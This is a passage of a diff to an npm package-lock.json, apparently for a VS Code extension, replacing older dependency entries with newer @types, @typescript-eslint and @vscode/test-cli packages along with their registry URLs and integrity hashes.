"sha512-+oHKZ0lTI+WVLxx1IbJDNmReQaIsQJjN2e7UUrJHEeByG7bFeKJYsv1E75JxTQ9QKJDp21bAa/0W2Xo4srsDnw==", "dev": true, "dependencies": { - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" + "@types/sinonjs__fake-timers": "*" } }, - "node_modules/ieee754": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "node_modules/@types/sinon-chai": { + "version": "3.2.12", + "resolved": "https://registry.npmjs.org/@types/sinon-chai/-/sinon-chai-3.2.12.tgz", + "integrity": "sha512-9y0Gflk3b0+NhQZ/oxGtaAJDvRywCa5sIyaVnounqLvmf93yBF4EgIRspePtkMs3Tr844nCclYMlcCNmLCvjuQ==", "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] + "license": "MIT", + "dependencies": { + "@types/chai": "*", + "@types/sinon": "*" + } }, - "node_modules/ignore": { - "version": "5.1.9", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.9.tgz", - "integrity": "sha512-2zeMQpbKz5dhZ9IwL0gbxSW5w0NK/MSAMtNuhgIHEPmaU3vPdKPL0UdvUCXs5SS4JAwsBxysK5sFMW8ocFiVjQ==", + "node_modules/@types/sinonjs__fake-timers": { + "version": "8.1.5", + "resolved": "https://registry.npmjs.org/@types/sinonjs__fake-timers/-/sinonjs__fake-timers-8.1.5.tgz", + "integrity": "sha512-mQkU2jY8jJEF7YHjHvsQO8+3ughTL1mcnn96igfhONmR+fUPSKIkefQYpSe8bsly2Ep7oQbn/6VG5/9/0qcArQ==", "dev": true, - "engines": { - "node": ">= 4" - } + "license": "MIT" }, - "node_modules/import-fresh": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", - "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "node_modules/@types/source-map-support": { + "version": "0.5.10", + "resolved": "https://registry.npmjs.org/@types/source-map-support/-/source-map-support-0.5.10.tgz", + "integrity": "sha512-tgVP2H469x9zq34Z0m/fgPewGhg/MLClalNOiPIzQlXrSS2YrKu/xCdSCKnEDwkFha51VKEKB6A9wW26/ZNwzA==", "dev": true, + "license": "MIT", "dependencies": { - "parent-module": "^1.0.0", - "resolve-from": "^4.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "source-map": "^0.6.0" } }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", + "node_modules/@types/svg2ttf": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/@types/svg2ttf/-/svg2ttf-5.0.3.tgz", + "integrity": "sha512-hL+/A4qMISvDbDTtdY73R0zuvsdc7YRYnV5FyAfKVGk8OsluXu/tCFxop7IB5Sgr+ZCS0hHtFxylD0REmm+abA==", "dev": true, - "engines": { - "node": ">=0.8.19" - } + "license": "MIT" }, - "node_modules/inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "node_modules/@types/svgicons2svgfont": { + "version": "10.0.5", + "resolved": "https://registry.npmjs.org/@types/svgicons2svgfont/-/svgicons2svgfont-10.0.5.tgz", + "integrity": "sha512-7BUT1sEFSNBIcc0wlwKn2l3l3OnYJdjsrlruDbAp6hpOK3HbpgMjLVH4ql6xXwD+qYy+XEHrb2EMkIpo9kWZ+Q==", "dev": true, "dependencies": { - "once": "^1.3.0", - "wrappy": "1" + "@types/node": "*" } }, - "node_modules/inherits": { + "node_modules/@types/triple-beam": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz", + "integrity": "sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/ttf2woff": { "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true + "resolved": "https://registry.npmjs.org/@types/ttf2woff/-/ttf2woff-2.0.4.tgz", + "integrity": "sha512-pD66iwSkU5lIMWWTz5sxIMjwM7/qs/EYgE01vqu5C3S1izONHiF1GRy2dWvlKMlC39TfZszP7+OVXgVk3BccOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } }, - "node_modules/ini": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", - "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "node_modules/@types/vscode": { + "version": "1.89.0", + "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.89.0.tgz", + "integrity": "sha512-TMfGKLSVxfGfoO8JfIE/neZqv7QLwS4nwPwL/NwMvxtAY2230H2I4Z5xx6836pmJvMAzqooRQ4pmLm7RUicP3A==", "dev": true }, - "node_modules/is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "node_modules/@types/xml2js": { + "version": "0.4.14", + "resolved": "https://registry.npmjs.org/@types/xml2js/-/xml2js-0.4.14.tgz", + "integrity": "sha512-4YnrRemBShWRO2QjvUin8ESA41rH+9nQGLUGZV/1IDhi3SL9OhdpNC/MrulTWuptXKwhx/aDxE7toV0f/ypIXQ==", "dev": true, "dependencies": { - "binary-extensions": "^2.0.0" - }, - "engines": { - "node": ">=8" + "@types/node": "*" } }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.47.0.tgz", + "integrity": "sha512-fe0rz9WJQ5t2iaLfdbDc9T80GJy0AeO453q8C3YCilnGozvOyCG5t+EZtg7j7D88+c3FipfP/x+wzGnh1xp8ZA==", "dev": true, + "dependencies": { + "@eslint-community/regexpp": "^4.10.0", + "@typescript-eslint/scope-manager": "8.47.0", + "@typescript-eslint/type-utils": "8.47.0", + "@typescript-eslint/utils": "8.47.0", + "@typescript-eslint/visitor-keys": "8.47.0", + "graphemer": "^1.4.0", + "ignore": "^7.0.0", + "natural-compare": "^1.4.0", + "ts-api-utils": "^2.1.0" + }, "engines": { - "node": ">=0.10.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^8.47.0", + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" } }, - "node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.4.tgz", + "integrity": "sha512-gJzzk+PQNznz8ysRrC0aOkBNVRBDtE1n53IqyqEf3PXrYwomFs5q4pGMizBMJF+ykh03insJ27hB8gSrD2Hn8A==", "dev": true, + "license": "MIT", "engines": { - "node": ">=8" + "node": ">= 4" } }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "node_modules/@typescript-eslint/parser": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.47.0.tgz", + "integrity": "sha512-lJi3PfxVmo0AkEY93ecfN+r8SofEqZNGByvHAI3GBLrvt1Cw6H5k1IM02nSzu0RfUafr2EvFSw0wAsZgubNplQ==", "dev": true, "dependencies": { - "is-extglob": "^2.1.1" + "@typescript-eslint/scope-manager": "8.47.0", + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/typescript-estree": "8.47.0", + "@typescript-eslint/visitor-keys": "8.47.0", + "debug": "^4.3.4" }, "engines": { - "node": ">=0.10.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" } }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "node_modules/@typescript-eslint/project-service": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.47.0.tgz", + "integrity": "sha512-2X4BX8hUeB5JcA1TQJ7GjcgulXQ+5UkNb0DL8gHsHUHdFoiCTJoYLTpib3LtSDPZsRET5ygN4qqIWrHyYIKERA==", "dev": true, + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.47.0", + "@typescript-eslint/types": "^8.47.0", + "debug": "^4.3.4" + }, "engines": { - "node": ">=0.12.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" } }, - "node_modules/is-plain-obj": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", - "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "node_modules/@typescript-eslint/scope-manager": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.47.0.tgz", + "integrity": "sha512-a0TTJk4HXMkfpFkL9/WaGTNuv7JWfFTQFJd6zS9dVAjKsojmv9HT55xzbEpnZoY+VUb+YXLMp+ihMLz/UlZfDg==", "dev": true, + "dependencies": { + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/visitor-keys": "8.47.0" + }, "engines": { - "node": ">=8" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" } }, - "node_modules/is-unicode-supported": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", - "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.47.0.tgz", + "integrity": "sha512-ybUAvjy4ZCL11uryalkKxuT3w3sXJAuWhOoGS3T/Wu+iUu1tGJmk5ytSY8gbdACNARmcYEB0COksD2j6hfGK2g==", "dev": true, "engines": { - "node": ">=10" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" } }, - "node_modules/isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", - "dev": true - }, - "node_modules/js-yaml": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", - "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "node_modules/@typescript-eslint/type-utils": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.47.0.tgz", + "integrity": "sha512-QC9RiCmZ2HmIdCEvhd1aJELBlD93ErziOXXlHEZyuBo3tBiAZieya0HLIxp+DoDWlsQqDawyKuNEhORyku+P8A==", "dev": true, "dependencies": { - "argparse": "^2.0.1" + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/typescript-estree": "8.47.0", + "@typescript-eslint/utils": "8.47.0", + "debug": "^4.3.4", + "ts-api-utils": "^2.1.0" }, - "bin": { - "js-yaml": "bin/js-yaml.js" + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" } }, - "node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "node_modules/json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", - "dev": true - }, - "node_modules/keytar": { - "version": "7.7.0", - "resolved": "https://registry.npmjs.org/keytar/-/keytar-7.7.0.tgz", - "integrity": "sha512-YEY9HWqThQc5q5xbXbRwsZTh2PJ36OSYRjSv3NN2xf5s5dpLTjEZnC2YikR29OaVybf9nQ0dJ/80i40RS97t/A==", + "node_modules/@typescript-eslint/types": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.47.0.tgz", + "integrity": "sha512-nHAE6bMKsizhA2uuYZbEbmp5z2UpffNrPEqiKIeN7VsV6UY/roxanWfoRrf6x/k9+Obf+GQdkm0nPU+vnMXo9A==", "dev": true, - "hasInstallScript": true, - "dependencies": { - "node-addon-api": "^3.0.0", - "prebuild-install": "^6.0.0" + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" } }, - "node_modules/leven": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", - "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/levn": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.47.0.tgz", + "integrity": "sha512-k6ti9UepJf5NpzCjH31hQNLHQWupTRPhZ+KFF8WtTuTpy7uHPfeg2NM7cP27aCGajoEplxJDFVCEm9TGPYyiVg==", "dev": true, "dependencies": { - "prelude-ls": "^1.2.1", - "type-check": "~0.4.0" + "@typescript-eslint/project-service": "8.47.0", + "@typescript-eslint/tsconfig-utils": "8.47.0", + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/visitor-keys": "8.47.0", + "debug": "^4.3.4", + "fast-glob": "^3.3.2", + "is-glob": "^4.0.3", + "minimatch": "^9.0.4", + "semver": "^7.6.0", + "ts-api-utils": "^2.1.0" }, "engines": { - "node": ">= 0.8.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" } }, - "node_modules/linkify-it": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-3.0.3.tgz", - "integrity": "sha512-ynTsyrFSdE5oZ/O9GEf00kPngmOfVwazR5GKDq6EYfhlpFug3J2zybX56a2PRRpc9P+FuSoGNAwjlbDs9jJBPQ==", + "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, "dependencies": { - "uc.micro": "^1.0.1" + "balanced-match": "^1.0.0" } }, - "node_modules/listenercount": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/listenercount/-/listenercount-1.0.1.tgz", - "integrity": "sha1-hMinKrWcRyUyFIDJdeZQg0LnCTc=", - "dev": true - }, - "node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", "dev": true, "dependencies": { - "p-locate": "^5.0.0" + "brace-expansion": "^2.0.1" }, "engines": { - "node": ">=10" + "node": ">=16 || 14 >=14.17" }, "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true - }, - "node_modules/log-symbols": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", - "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "node_modules/@typescript-eslint/utils": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.47.0.tgz", + "integrity": "sha512-g7XrNf25iL4TJOiPqatNuaChyqt49a/onq5YsJ9+hXeugK+41LVg7AxikMfM02PC6jbNtZLCJj6AUcQXJS/jGQ==", "dev": true, "dependencies": { - "chalk": "^4.1.0", - "is-unicode-supported": "^0.1.0" + "@eslint-community/eslint-utils": "^4.7.0", + "@typescript-eslint/scope-manager": "8.47.0", + "@typescript-eslint/types": "8.47.0", + "@typescript-eslint/typescript-estree": "8.47.0" }, "engines": { - "node": ">=10" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dependencies": { - "yallist": "^4.0.0" + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" }, - "engines": { - "node": ">=10" + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" } }, - "node_modules/markdown-it": { - "version": "12.3.2", - "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-12.3.2.tgz", - "integrity": "sha512-TchMembfxfNVpHkbtriWltGWc+m3xszaRD0CZup7GFFhzIgQqxIfn3eGj1yZpfuflzPvfkt611B2Q/Bsk1YnGg==", + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.47.0.tgz", + "integrity": "sha512-SIV3/6eftCy1bNzCQoPmbWsRLujS8t5iDIZ4spZOBHqrM+yfX2ogg8Tt3PDTAVKw3sSCiUgg30uOAvK2r9zGjQ==", "dev": true, "dependencies": { - "argparse": "^2.0.1", - "entities": "~2.1.0", - "linkify-it": "^3.0.1", - "mdurl": "^1.0.1", - "uc.micro": "^1.0.5" + "@typescript-eslint/types": "8.47.0", + "eslint-visitor-keys": "^4.2.1" }, - "bin": { - "markdown-it": "bin/markdown-it.js" + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" } }, - "node_modules/markdown-it/node_modules/entities": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.1.0.tgz", - "integrity": "sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w==", + "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" + "url": "https://opencollective.com/eslint" } }, - "node_modules/mdurl": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", - "integrity": "sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=", + "node_modules/@ungap/structured-clone": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.0.tgz", + "integrity": "sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==", "dev": true }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "dev": true, - "engines": { - "node": ">= 8" - } + "node_modules/@vscode/codicons": { + "version": "0.0.42", + "resolved": "https://registry.npmjs.org/@vscode/codicons/-/codicons-0.0.42.tgz", + "integrity": "sha512-PlWPUA32rdiJE6250ltFGMzM3GyC1L9OaryDGOpxiMU0H9lBtEJrSFxpRvefdgJuQRcyUenGFTYzFuFbR9qzjg==" }, - "node_modules/micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "node_modules/@vscode/debugprotocol": { + "version": "1.68.0", + "resolved": "https://registry.npmjs.org/@vscode/debugprotocol/-/debugprotocol-1.68.0.tgz", + "integrity": "sha512-2J27dysaXmvnfuhFGhfeuxfHRXunqNPxtBoR3koiTOA9rdxWNDTa1zIFLCFMSHJ9MPTPKFcBeblsyaCJCIlQxg==", + "dev": true + }, + "node_modules/@vscode/test-cli": { + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@vscode/test-cli/-/test-cli-0.0.12.tgz", + "integrity": "sha512-iYN0fDg29+a2Xelle/Y56Xvv7Nc8Thzq4VwpzAF/SIE6918rDicqfsQxV6w1ttr2+SOm+10laGuY9FG2ptEKsQ==", "dev": true, + "license": "MIT", "dependencies": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" + "@types/mocha": "^10.0.10", + "c8": "^10.1.3", + "chokidar": "^3.6.0", + "enhanced-resolve": "^5.18.3", + "glob": "^10.3.10", + "minimatch": "^9.0.3", + "mocha": "^11.7.4", + "supports-color": "^10.2.2", + "yargs": "^17.7.2" }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", - "dev": true, "bin": { - "mime": "cli.js" + "vscode-test": "out/bin.mjs" }, "engines": { - "node": ">=4" + "node": ">=18" } }, - "node_modules/mimic-response": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-2.1.0.tgz", - "integrity": "sha512-wXqjST+SLt7R009ySCglWBCFpjUygmCIfD790/kVbiGmUgfYGuB14PiTd5DwVxSV4NcYHjzMkoj5LjQZwTQLEA==", + "node_modules/@vscode/test-cli/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" + "balanced-match": "^1.0.0" } }, - "node_modules/minimist": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", - "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==", - "dev": true - }, - "node_modules/mkdirp": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", - "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "node_modules/@vscode/test-cli/node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", "dev": true, + "license": "ISC", "dependencies": { - "minimist": "^1.2.5" + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": 